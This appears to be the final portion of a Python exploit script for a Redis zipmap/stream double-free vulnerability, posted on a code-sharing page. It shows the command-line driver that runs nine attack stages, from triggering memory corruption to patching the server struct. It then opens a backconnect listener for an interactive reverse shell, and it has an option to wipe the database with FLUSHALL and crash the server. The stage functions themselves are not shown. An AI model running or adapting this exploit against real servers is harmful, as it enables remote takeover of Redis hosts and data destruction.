if backconnect_addr is None:
log_info("BACKCONNECT", "No backconnect configured (use --backconnect-addr to enable)")
ctx.backconnect_addr = None
ctx.backconnect_port = None
ctx.backconnect_listener = None
return
if backconnect_addr.lower() == "auto":
# Auto-detect using the existing Redis connection
detected_addr = get_local_addr_from_redis_connection(ctx)
log_milestone("BACKCONNECT", f"Auto-detected backconnect address: {detected_addr}")
backconnect_addr = detected_addr
else:
log_info("BACKCONNECT", f"Using provided backconnect address: {backconnect_addr}")
# Store in context
ctx.backconnect_addr = backconnect_addr
ctx.backconnect_port = backconnect_port
# Set up listener
ctx.backconnect_listener = setup_backconnect_listener(backconnect_addr, backconnect_port)
def save_context_after_stage(ctx: ExploitContext, stage_num: int) -> None:
"""Save context to file after completing a stage."""
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
context_dir = "contexts"
context_file = f"{context_dir}/context_stage{stage_num}_{timestamp}.txt"
ctx.save_to_file(context_file)
def main() -> int:
parser = argparse.ArgumentParser(description="Redis zipmap double-free exploit")
parser.add_argument("--host", default=DEFAULT_HOST, help="Redis host (default 127.0.0.1)")
parser.add_argument("--port", default=DEFAULT_PORT, type=int, help="Redis port (default 6379)")
parser.add_argument("--password", default=None, help="Redis password (if authentication required)")
parser.add_argument("--debug", action="store_true", help="Verbose request/response logging")
parser.add_argument("--backconnect-addr", default=None,
help="Backconnect address: IP address, 'auto' to auto-detect, or None for no backconnect")
parser.add_argument("--backconnect-port", type=int, default=12345,
help="Backconnect port (default: 12345, used with --backconnect-addr)")
parser.add_argument("--random-heap-massage", action="store_true",
help="Insert 100k random keys before exploit to test heap stability")
parser.add_argument("--use-context", type=str, default=None, metavar="FILE",
help="Load context from file to resume from a previous stage")
parser.add_argument("--start-from-stage", type=int, default=0, metavar="NUM",
help="Stage number to start from (requires --use-context)")
parser.add_argument("--no-stage4-lua-helper", action="store_true",
help="Disable Lua-based optimization for stage4 scanning")
parser.add_argument("--no-stage5-lua-helper", action="store_true",
help="Disable Lua-based optimization for stage5 server struct scanning")
parser.add_argument("--no-plain-string-stage2", action="store_false", default=True, dest="plain_string_stage2",
help="Use plain string RESTORE to create memview in stage2")
parser.add_argument("--binary-addr-skip", type=int, default=0, metavar="NUM",
help="Skip first N binary addresses")
parser.add_argument("--flush-and-crash", action="store_true",
help="Just connect, FLUSHALL, SAVE, then send crash payload that triggers sds.c assertion. Useful if something goes wrong on the demo day")
parser.add_argument("--vuln-type", type=str, default="zipmap", choices=["zipmap", "stream"],
help="Type of vulnerability to exploit")
parser.add_argument("--enable-debug-cmd-offset", type=int, default=None, metavar="NUM",
help="enable_debug_cmd offset inside redisServer struct (default: None, will be detected dynamically)")
args = parser.parse_args()
global ARGS_DEBUG, CURRENT_STAGE
ARGS_DEBUG = args.debug
# Setup logging
setup_logging(debug=args.debug)
# Validate arguments
if args.start_from_stage > 0 and not args.use_context:
print("[ERROR] --start-from-stage requires --use-context", file=sys.stderr)
return 1
# Load or create context
if args.use_context:
ctx = ExploitContext.load_from_file(args.use_context)
# Reconnect to Redis even when loading context
ctx.redis = RedisClient(args.host, args.port)
log_info("RESUME", f"Resuming from stage {args.start_from_stage}")
else:
ctx = ExploitContext()
# Define stages
stages = [
(0, stage0_connect_to_redis, "Connect to Redis"),
(1, stage1_trigger_double_free, "Trigger double-free"),
(2, stage2_create_memory_overlap, "Create memory overlap"),
(3, stage3_find_controllable_object, "Find arbitrary R/W primitive"),
(4, stage4_find_binary_address, "Locate binary address"),
(5, stage5_locate_server_struct, "Locate server struct"),
(6, stage6_construct_payload, "Construct payload"),
(7, stage7_patch_server_struct, "Patch server struct"),
(8, stage8_trigger_exploit, "Trigger exploit"),
]
# If flush-and-crash mode, replace all stages after stage0 with crash stage
if args.flush_and_crash:
stages = [
(0, stage0_connect_to_redis, "Connect to Redis"),
(1, stage_flush_and_crash, "Send crash payload"),
]
try:
for stage_num, stage_func, stage_desc in stages:
# Skip stages if resuming from a later stage
if stage_num < args.start_from_stage:
log_info("SKIP", f"Skipping Stage {stage_num}: {stage_desc}")
continue
CURRENT_STAGE = stage_num
log_stage(f"Starting Stage {stage_num}: {stage_desc}", level="WARNING")
if ctx.redis is not None:
commands_sent_before = ctx.redis.command_count
else:
commands_sent_before = 0
stage_func(args, ctx)
log_stage(f"Completed Stage {stage_num}: {stage_desc} (sent {ctx.redis.command_count - commands_sent_before} commands)")
# Save context after each stage (except stage 0 which doesn't have useful state yet)
if stage_num > 0:
save_context_after_stage(ctx, stage_num)
# Log final command count
if ctx.redis:
log_milestone("STATS", f"Total Redis commands sent: {ctx.redis.command_count}")
# Handle backconnect if configured
if ctx.backconnect_listener is not None:
log_start("BACKCONNECT", "Exploit completed, waiting for shell connection...")
conn = accept_backconnect(ctx.backconnect_listener, timeout=10)
if conn is not None:
log_milestone("SHELL", "Switching to interactive mode...")
conn.interactive()
else:
log_error("No backconnect received within timeout")
return 1
return 0
except Exception as e:
log_error(f"Exploit failed: {e}")
print("\nContext state at failure:", file=sys.stderr)
print(ctx.pretty_print(), file=sys.stderr)
raise
if __name__ == "__main__":
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment